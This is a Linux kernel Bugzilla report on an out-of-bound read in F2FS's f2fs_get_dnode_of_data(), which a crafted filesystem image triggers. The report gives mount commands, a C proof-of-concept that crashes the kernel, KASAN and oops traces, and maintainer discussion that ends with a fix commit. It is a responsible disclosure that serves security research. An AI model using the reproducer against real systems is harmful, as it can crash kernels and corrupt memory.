Bug 200423 - Out-of-bound access in f2fs_get_dnode_of_data() when operating file on an f2fs image
Summary: Out-of-bound access in f2fs_get_dnode_of_data() when operating file on an f2f...
Status: RESOLVED CODE_FIX
Alias: None
Product: File System
Classification: Unclassified
Component: f2fs (show other bugs)
Hardware: All Linux
: P1 normal
Assignee: F2FS development list
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-07-05 19:06 UTC by Wen Xu
Modified: 2018-08-26 00:20 UTC (History)
3 users (show)

See Also:
Kernel Version: 4.18
Subsystem:
Regression: No
Bisected commit-id:


Attachments
The (compressed) crafted image which causes crash (68.88 KB, application/zip)
2018-07-05 19:06 UTC, Wen Xu
Details

Description Wen Xu 2018-07-05 19:06:59 UTC
Created attachment 277199 [details]
The (compressed) crafted image which causes crash

- Reproduce
# mkdir mnt
# mount -t f2fs 42.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) { 
    write(fd, (char *)buf, 517); 
    write(fd, (char *)buf, sizeof(buf)); 
    fdatasync(fd);
    fsync(fd);
    close(fd); 
  }  

  fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    close(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[ 2922.788919] F2FS-fs (loop0): Invalid segment count (0)
[ 2922.788929] F2FS-fs (loop0): Can't find valid F2FS filesystem in 2th superblock
[ 2922.846681] ==================================================================
[ 2922.846980] BUG: KASAN: use-after-free in f2fs_iget+0xcb9/0x1a80
[ 2922.847184] Read of size 4 at addr ffff8801ed146968 by task mount/1214

[ 2922.847500] CPU: 0 PID: 1214 Comm: mount Not tainted 4.17.0+ #1
[ 2922.847503] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 2922.847512] Call Trace:
[ 2922.847545]  dump_stack+0x71/0xab
[ 2922.847576]  print_address_description+0x6b/0x290
[ 2922.847582]  kasan_report+0x28e/0x390
[ 2922.847586]  ? f2fs_iget+0xcb9/0x1a80
[ 2922.847589]  f2fs_iget+0xcb9/0x1a80
[ 2922.847607]  ? f2fs_fill_super+0x1b4c/0x2b40
[ 2922.847611]  f2fs_fill_super+0x1b4c/0x2b40
[ 2922.847619]  ? f2fs_commit_super+0x1a0/0x1a0
[ 2922.847632]  ? sget_userns+0x65e/0x690
[ 2922.847647]  ? set_blocksize+0x88/0x130
[ 2922.847652]  ? f2fs_commit_super+0x1a0/0x1a0
[ 2922.847656]  mount_bdev+0x1c0/0x200
[ 2922.847661]  mount_fs+0x5c/0x190
[ 2922.847670]  vfs_kern_mount+0x64/0x190
[ 2922.847679]  do_mount+0x2e4/0x1450
[ 2922.847699]  ? lockref_put_return+0x130/0x130
[ 2922.847703]  ? copy_mount_string+0x20/0x20
[ 2922.847707]  ? kasan_unpoison_shadow+0x31/0x40
[ 2922.847711]  ? kasan_kmalloc+0xa6/0xd0
[ 2922.847722]  ? memcg_kmem_put_cache+0x16/0x90
[ 2922.847726]  ? __kmalloc_track_caller+0x196/0x210
[ 2922.847736]  ? _copy_from_user+0x61/0x90
[ 2922.847748]  ? memdup_user+0x3e/0x60
[ 2922.847753]  ksys_mount+0x7e/0xd0
[ 2922.847757]  __x64_sys_mount+0x62/0x70
[ 2922.847778]  do_syscall_64+0x73/0x160
[ 2922.847790]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2922.847806] RIP: 0033:0x7f09f2deeb9a
[ 2922.847807] Code: 48 8b 0d 01 c3 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ce c2 2b 00 f7 d8 64 89 01 48 
[ 2922.847858] RSP: 002b:00007fff1ac9e528 EFLAGS: 00000206 ORIG_RAX: 00000000000000a5
[ 2922.847870] RAX: ffffffffffffffda RBX: 00000000019d6030 RCX: 00007f09f2deeb9a
[ 2922.847872] RDX: 00000000019d6210 RSI: 00000000019d7f30 RDI: 00000000019e2040
[ 2922.847875] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000013
[ 2922.847877] R10: 00000000c0ed0000 R11: 0000000000000206 R12: 00000000019e2040
[ 2922.847879] R13: 00000000019d6210 R14: 0000000000000000 R15: 0000000000000003

[ 2922.847978] The buggy address belongs to the page:
[ 2922.848158] page:ffffea0007b45180 count:0 mapcount:0 mapping:0000000000000000 index:0x0
[ 2922.848527] flags: 0x17fff8000000000()
[ 2922.848688] raw: 017fff8000000000 ffffea0007b451c8 ffffea0007b45148 0000000000000000
[ 2922.848926] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 2922.849161] page dumped because: kasan: bad access detected

[ 2922.849447] Memory state around the buggy address:
[ 2922.849619]  ffff8801ed146800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 2922.849845]  ffff8801ed146880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 2922.850068] >ffff8801ed146900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 2922.850292]                                                           ^
[ 2922.850504]  ffff8801ed146980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 2922.850729]  ffff8801ed146a00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 2922.850953] ==================================================================
[ 2922.851176] Disabling lock debugging due to kernel taint
[ 2922.917315] F2FS-fs (loop0): Try to recover 2th superblock, ret: 0
[ 2922.917320] F2FS-fs (loop0): Mounted with checkpoint version = 2
[ 2930.595722] BUG: unable to handle kernel paging request at ffffed004dbdc0a3
[ 2930.595969] PGD 23fff0067 P4D 23fff0067 PUD 23fbf1067 PMD 0 
[ 2930.596175] Oops: 0000 [#1] SMP KASAN PTI
[ 2930.596338] CPU: 0 PID: 1228 Comm: a.out Tainted: G    B             4.17.0+ #1
[ 2930.596582] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 2930.596881] RIP: 0010:__asan_load4+0x31/0x80
[ 2930.597046] Code: 7f ff ff 48 8b 0c 24 48 39 c7 76 55 48 8d 47 03 48 89 c2 83 e2 07 48 83 fa 02 76 18 48 c1 e8 03 48 be 00 00 00 00 00 fc ff df <0f> b6 04 30 84 c0 75 26 f3 c3 49 89 f8 48 be 00 00 00 00 00 fc ff 
[ 2930.597632] RSP: 0018:ffff8801ed77f1a0 EFLAGS: 00010206
[ 2930.597819] RAX: 1ffff1004dbdc0a3 RBX: ffff88026dee0518 RCX: ffffffff935f7a3b
[ 2930.598042] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff88026dee0518
[ 2930.598264] RBP: 00000000203666ec R08: ffffed003da287fe R09: ffffed003da287fe
[ 2930.598487] R10: 0000000000000001 R11: ffffed003da287fd R12: 0000000000000e00
[ 2930.598717] R13: ffff8801c45c44e8 R14: ffff8801ed143168 R15: ffff8801ed77f3e8
[ 2930.598943] FS:  00007faca2621700(0000) GS:ffff8801f3a00000(0000) knlGS:0000000000000000
[ 2930.599188] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2930.599379] CR2: ffffed004dbdc0a3 CR3: 000000018f6c8000 CR4: 00000000000006f0
[ 2930.599610] Call Trace:
[ 2930.599745]  f2fs_get_dnode_of_data+0x69b/0xd30
[ 2930.599929]  ? __add_to_page_cache_locked+0x18e/0x360
[ 2930.600111]  ? f2fs_alloc_nid_failed+0xf0/0xf0
[ 2930.600277]  ? find_lock_entry+0x110/0x110
[ 2930.600441]  ? __lru_cache_add+0xaa/0xc0
[ 2930.600624]  ? add_to_page_cache_lru+0xea/0x190
[ 2930.606474]  ? add_to_page_cache_locked+0x10/0x10
[ 2930.611571]  ? __d_alloc+0x2a/0x430
[ 2930.616627]  ? save_stack+0x94/0xb0
[ 2930.621497]  ? policy_nodemask+0x1a/0x90
[ 2930.626296]  ? f2fs_lookup_extent_cache+0x74/0x430
[ 2930.631018]  ? pagecache_get_page+0xcd/0x410
[ 2930.635719]  f2fs_get_read_data_page+0x26e/0x5c0
[ 2930.640364]  ? f2fs_write_begin+0x1360/0x1360
[ 2930.645092]  ? __radix_tree_lookup+0x150/0x150
[ 2930.649795]  ? f2fs_dentry_hash+0x1d8/0x330
[ 2930.654440]  ? pagecache_get_page+0x29/0x410
[ 2930.658985]  f2fs_find_data_page+0xa5/0x290
[ 2930.663510]  __f2fs_find_entry+0x2bb/0x620
[ 2930.667987]  ? f2fs_find_target_dentry+0x280/0x280
[ 2930.672401]  ? kmem_cache_alloc+0x176/0x1e0
[ 2930.676799]  ? __d_lookup_rcu+0x6a/0x2f0
[ 2930.681176]  ? d_alloc+0xbe/0xe0
[ 2930.685490]  ? memset+0x1f/0x40
[ 2930.689820]  ? fscrypt_setup_filename+0x1d8/0x4a0
[ 2930.694248]  f2fs_find_entry+0xd6/0x100
[ 2930.698591]  ? __f2fs_find_entry+0x620/0x620
[ 2930.702915]  ? unwind_get_return_address+0x2f/0x50
[ 2930.707317]  f2fs_lookup+0x271/0x580
[ 2930.711620]  ? __recover_dot_dentries+0x400/0x400
[ 2930.715912]  ? legitimize_path.isra.29+0x5a/0xa0
[ 2930.720121]  __lookup_slow+0x11c/0x220
[ 2930.724316]  ? may_delete+0x2a0/0x2a0
[ 2930.728471]  ? __lookup_hash+0xb0/0xb0
[ 2930.732483]  ? get_empty_filp+0x63/0x250
[ 2930.736389]  lookup_slow+0x3e/0x60
[ 2930.740175]  walk_component+0x3ac/0x990
[ 2930.743830]  ? async_page_fault+0x1e/0x30
[ 2930.747408]  ? pick_link+0x3e0/0x3e0
[ 2930.750909]  ? stack_access_ok+0x35/0x80
[ 2930.754380]  ? deref_stack_reg+0x97/0xe0
[ 2930.757820]  ? in_group_p+0x9f/0xe0
[ 2930.761234]  ? generic_permission+0x51/0x1e0
[ 2930.764616]  link_path_walk+0x288/0x770
[ 2930.767931]  ? apparmor_capget+0x380/0x380
[ 2930.771170]  ? kasan_unpoison_shadow+0x31/0x40
[ 2930.774366]  ? walk_component+0x990/0x990
[ 2930.777491]  ? path_init+0x2e6/0x580
[ 2930.780603]  path_openat+0x1b4/0x1fa0
[ 2930.783690]  ? is_bpf_text_address+0xa/0x20
[ 2930.786777]  ? kernel_text_address+0xcc/0xe0
[ 2930.789830]  ? __kernel_text_address+0xe/0x30
[ 2930.792893]  ? unwind_get_return_address+0x2f/0x50
[ 2930.795946]  ? vfs_unlink+0x250/0x250
[ 2930.799037]  ? save_stack+0x94/0xb0
[ 2930.802096]  ? kasan_kmalloc+0xa6/0xd0
[ 2930.805174]  ? kmem_cache_alloc+0xc8/0x1e0
[ 2930.808235]  ? getname_flags+0x73/0x2b0
[ 2930.811305]  ? do_sys_open+0x144/0x2a0
[ 2930.814354]  ? do_syscall_64+0x73/0x160
[ 2930.817373]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2930.820405]  ? add_to_page_cache_lru+0x190/0x190
[ 2930.823472]  ? __mod_node_page_state+0x22/0xa0
[ 2930.826557]  ? __handle_mm_fault+0x119a/0x1920
[ 2930.829608]  do_filp_open+0x12b/0x1d0
[ 2930.832657]  ? may_open_dev+0x50/0x50
[ 2930.835667]  ? kasan_unpoison_shadow+0x31/0x40
[ 2930.838720]  ? kasan_kmalloc+0xa6/0xd0
[ 2930.841731]  ? __alloc_fd+0x1b0/0x250
[ 2930.844745]  ? do_sys_open+0x175/0x2a0
[ 2930.847742]  do_sys_open+0x175/0x2a0
[ 2930.850751]  ? filp_open+0x50/0x50
[ 2930.853730]  do_syscall_64+0x73/0x160
[ 2930.856818]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2930.859824] RIP: 0033:0x7faca2131040
[ 2930.862808] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 83 3d 09 27 2d 00 00 75 10 b8 02 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 7e e0 01 00 48 89 04 24 
[ 2930.869408] RSP: 002b:00007ffe9e33eaf8 EFLAGS: 00000246 ORIG_RAX: 0000000000000002
[ 2930.872813] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007faca2131040
[ 2930.876221] RDX: 00000000000001ff RSI: 0000000000000202 RDI: 0000000001894080
[ 2930.879690] RBP: 00007ffe9e33eb30 R08: 0000000001894010 R09: 0000000000000000
[ 2930.883180] R10: 000000000000069d R11: 0000000000000246 R12: 0000000000400650
[ 2930.886658] R13: 00007ffe9e33ec30 R14: 0000000000000000 R15: 0000000000000000
[ 2930.890141] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev input_leds serio_raw snd soundcore mac_hid i2c_piix4 ib_iser rdma_cm iw_cm ib_cm ib_core configfs iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear 8139too qxl ttm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel psmouse aes_x86_64 8139cp crypto_simd cryptd mii glue_helper pata_acpi floppy
[ 2930.915217] CR2: ffffed004dbdc0a3
[ 2930.919620] ---[ end trace a8e0d899985faf31 ]---
[ 2930.924063] RIP: 0010:__asan_load4+0x31/0x80
[ 2930.928500] Code: 7f ff ff 48 8b 0c 24 48 39 c7 76 55 48 8d 47 03 48 89 c2 83 e2 07 48 83 fa 02 76 18 48 c1 e8 03 48 be 00 00 00 00 00 fc ff df <0f> b6 04 30 84 c0 75 26 f3 c3 49 89 f8 48 be 00 00 00 00 00 fc ff 
[ 2930.938036] RSP: 0018:ffff8801ed77f1a0 EFLAGS: 00010206
[ 2930.942850] RAX: 1ffff1004dbdc0a3 RBX: ffff88026dee0518 RCX: ffffffff935f7a3b
[ 2930.947779] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff88026dee0518
[ 2930.952750] RBP: 00000000203666ec R08: ffffed003da287fe R09: ffffed003da287fe
[ 2930.957757] R10: 0000000000000001 R11: ffffed003da287fd R12: 0000000000000e00
[ 2930.962764] R13: ffff8801c45c44e8 R14: ffff8801ed143168 R15: ffff8801ed77f3e8
[ 2930.967796] FS:  00007faca2621700(0000) GS:ffff8801f3a00000(0000) knlGS:0000000000000000
[ 2930.972901] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2930.978034] CR2: ffffed004dbdc0a3 CR3: 000000018f6c8000 CR4: 00000000000006f0

- Location
https://elixir.bootlin.com/linux/v4.18-rc3/source/fs/f2fs/node.c#L706
	dn->nid = nids[level];
	dn->ofs_in_node = offset[level];
	dn->node_page = npage[level];
	dn->data_blkaddr = datablock_addr(dn->inode,
				dn->node_page, dn->ofs_in_node); <---

In function datablock_addr(),
https://elixir.bootlin.com/linux/v4.18-rc3/source/fs/f2fs/f2fs.h#L2102
kernel crashes at 	return le32_to_cpu(addr_array[base + offset]);
where `offset` is invalid.
I guess there is missing checks on `dn->ofs_in_node` assigned by `offset[level]`

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.
Comment 1 Chao Yu 2018-07-06 13:35:45 UTC
With last code in f2fs-dev branch of my git tree, it show below dmesg on mount:

[78225.530123] F2FS-fs (loop1): Invalid segment count (0)
[78225.530135] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th superblock
[78225.574644] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
[78225.574644] F2FS-fs (loop1): Failed to initialize F2FS segment manager
[78225.574975] F2FS-fs (loop1): Invalid segment count (0)
[78225.574979] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th superblock
[78225.616662] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
[78225.616672] F2FS-fs (loop1): Failed to initialize F2FS segment manager

Could you check that again? is that attached image correct and do you update f2fs code?
Comment 2 Wen Xu 2018-07-06 13:45:47 UTC
(In reply to Chao Yu from comment #1)
> With last code in f2fs-dev branch of my git tree, it show below dmesg on
> mount:
> 
> [78225.530123] F2FS-fs (loop1): Invalid segment count (0)
> [78225.530135] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th
> superblock
> [78225.574644] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
> [78225.574644] F2FS-fs (loop1): Failed to initialize F2FS segment manager
> [78225.574975] F2FS-fs (loop1): Invalid segment count (0)
> [78225.574979] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th
> superblock
> [78225.616662] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
> [78225.616672] F2FS-fs (loop1): Failed to initialize F2FS segment manager
> 
> Could you check that again? is that attached image correct and do you update
> f2fs code?

Really, I used your f2fs-dev branch whose latest commit is
f2fs: split discard command in prior to block layer

I can test it again.
Comment 3 Wen Xu 2018-07-06 13:55:48 UTC
(In reply to Chao Yu from comment #1)
> With last code in f2fs-dev branch of my git tree, it show below dmesg on
> mount:
> 
> [78225.530123] F2FS-fs (loop1): Invalid segment count (0)
> [78225.530135] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th
> superblock
> [78225.574644] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
> [78225.574644] F2FS-fs (loop1): Failed to initialize F2FS segment manager
> [78225.574975] F2FS-fs (loop1): Invalid segment count (0)
> [78225.574979] F2FS-fs (loop1): Can't find valid F2FS filesystem in 2th
> superblock
> [78225.616662] F2FS-fs (loop1): Mismatch valid blocks 0 vs. 3
> [78225.616672] F2FS-fs (loop1): Failed to initialize F2FS segment manager
> 
> Could you check that again? is that attached image correct and do you update
> f2fs code?

Hi Chao,

I checked the code and I think the reason is because on my machine

CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
CONFIG_F2FS_FS_POSIX_ACL=y
CONFIG_F2FS_FS_SECURITY=y
# CONFIG_F2FS_CHECK_FS is not set <---
CONFIG_F2FS_FS_ENCRYPTION=y
# CONFIG_F2FS_IO_TRACE is not set
# CONFIG_F2FS_FAULT_INJECTION is not set

CONFIG_F2FS_CHECK_FS is not set. Hmm, I am not very sure this will be enabled by default on machines using F2FS or not usually...how do you think about this?
Comment 4 Chao Yu 2018-08-26 00:20:25 UTC
After disableing CONFIG_F2FS_CHECK_FS and do retest, below dmesg was printed:

[ 2549.717979] F2FS-fs (loop0): Invalid log blocks per segment (8)
[ 2549.717987] F2FS-fs (loop0): Can't find valid F2FS filesystem in 2th superblock
[ 2549.718721] F2FS-fs (loop0): invalid crc_offset: 30716
[ 2549.718729] F2FS-fs (loop0): Wrong cp_pack_start_sum: 4194305
[ 2549.718738] F2FS-fs (loop0): Failed to get valid F2FS checkpoint


So I think it has been fixed by below commit:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e494c2f995d6181d6e29c4927d68e0f295ecf75b

Note You need to log in before you can comment on or make changes to this bug.